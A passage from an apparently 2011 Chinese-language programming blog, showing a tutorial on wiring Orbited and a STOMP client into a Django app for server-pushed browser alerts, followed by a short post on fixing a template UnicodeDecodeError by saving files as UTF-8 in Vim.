* -> localhost:61613

[global]
session.ping_interval = 300

把orbited跑起來

orbited -c orbited.cnf

在someapp/view.py下新增如下

from django.shortcuts import render_to_response
import stomp
conn = stomp.Connection()
conn.start()
conn.connect()
def index:
return render_to_response('index.html', {'dummy': "stupid"})
def stepEventHub(request):
conn.send(json.dumps({"msg":"server"}), destination="/EventHub")
return HttpResponse("ok")

記得去編輯一下urls.py

urlpatterns = patterns('someapp.views',
(r'^index/$', 'index'),
(r'^stepEventHub/$', 'stepEventHub'),
)

然後再編輯index.html一下網頁加上下列script

function main(){
stomp = new STOMPClient();
stomp.onopen = function(){
console.log("Open Stomp Client");
}
stomp.onclose = function(c){
alert("Lost connection, Code:"+c);
}
stomp.onerror = function(error){
alert("Error : " + error);
}
stomp.onerrorframe = function(frame){
alert("Error : " + frame.body);
}
stomp.onconnectedframe = function(){
console.log("Connected. Subcribing");
stomp.subscribe("/EventHub");
}
stomp.onmessageframe = function(frame){
var data = $.parseJSON(frame.body);
alert(data['msg']);
}
stomp.connect("localhost", 61613);
};
$(document).ready(main);

下載Orbited.js&stomp.js
stomp.js在protocol下。

最後說明一下stompclient 內容
onopen – 連線開始時候要呼叫的
onclose –連線結束時候要呼叫的
onerror – 當stompclinet有錯誤時呼叫
onerrorframe – 如果有錯誤的frame抵達時呼叫
onconnectedframe – 當client成功傳送以及接收frame時
onmessageframe – 當收到一個frame時

reset – 重設連線
connect – 連到stomp server

記得frame過來後，json是在body中，所以要用$.parseJSON(frame.body)才可以。

最後先打開網頁http://127.0.0.1:8000/someapp/
再開另外一個網頁http://127.0.0.1:8000/someapp/stepEventHub

就會在第一個網頁看到alert message了。

這裡有詳細範例。

星期二, 1月 25, 2011

Caught UnicodeDecodeError while rendering ... unexpected code byte

Django的樣板裡頭打上中文的時候，出現了如標題的錯誤

Caught UnicodeDecodeError while rendering ... unexpected code byte

找了各種原因，原來是Vim儲存時沒用utf-8編碼去存。
只要在vim下打

:set fenc=utf-8

再去編輯儲存就可以了。

訂閱：文章 (Atom)